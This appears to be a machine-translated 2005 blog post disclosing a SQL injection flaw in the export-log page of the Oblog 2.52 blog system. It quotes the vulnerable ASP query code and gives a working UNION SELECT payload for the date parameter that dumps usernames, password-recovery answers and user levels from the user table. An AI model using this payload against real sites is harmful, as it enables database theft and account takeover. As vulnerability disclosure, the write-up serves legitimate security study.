Oblog 2.52 Export Log Latest vulnerabilities
/**
Author: Ci Qin Qiang
Http://blog.csdn.net/cqq
2005-02-22
*/
Yesterday, just from the official website of Oblog Download a set of the latest blog system, version is 2.52 bar.
Originally was on the QQ to see a friend to discuss help.asp file intrusion ideas,
That article can be found here,
Http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx
After that, conveniently registered a user, the general browsing a bit,
The ability to have an export log in the background is relatively good,
This prevents the blog site from shutting down, and its own hard to write articles can not save the problem.
CSDN Blog does not export the function of the log, for this I also deliberately wrote a small program,
Please look here:
Http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx
However, the ASP file for this export log has a SQL injection vulnerability,
was originally derived from their own articles,
In this way, any data in the database can be freely exported,
Directly endanger the entire blog system security.
The main SQL code is as follows:
Sdate=request ("Selecty") & "-" &request ("SELECTM") & "-" &request ("SELECTD")
Edate=request ("Selectey") & "-" &request ("Selectem") & "-" &request ("selected")
Sql= "Select Topic,addtime,logtext from blog where username= '" &username& "and addtime<=#" &edate& "# and
addtime>=# "&sdate&" "#"
As you can see, all the client data is used without checking.
Naturally there will be problems,
Because no matter what the situation, the client's data are not easy to believe.
So, we construct this type of input
"Selectd=22# and 1=2 Union select Username,answer,userlevel from [user] union select topic,addtime,logtext from Blog
where addtime<= #1900-1-1 "
The entire SQL statement becomes:
Select Topic,addtime,logtext from blog where username= ' Ci qin strong ' and addtime<= #2007 -2-22# and addtime>= #2000 -2-22# and
1=2
Union select Username,answer,userlevel from [user]
Union select Topic,addtime,logtext from blog where addtime<= #1900 -1-1#
This allows you to output all user names, user password answer questions, and user ratings.
Of course, you can get any content in the database, as long as the appropriate transformation of the SQL statements.
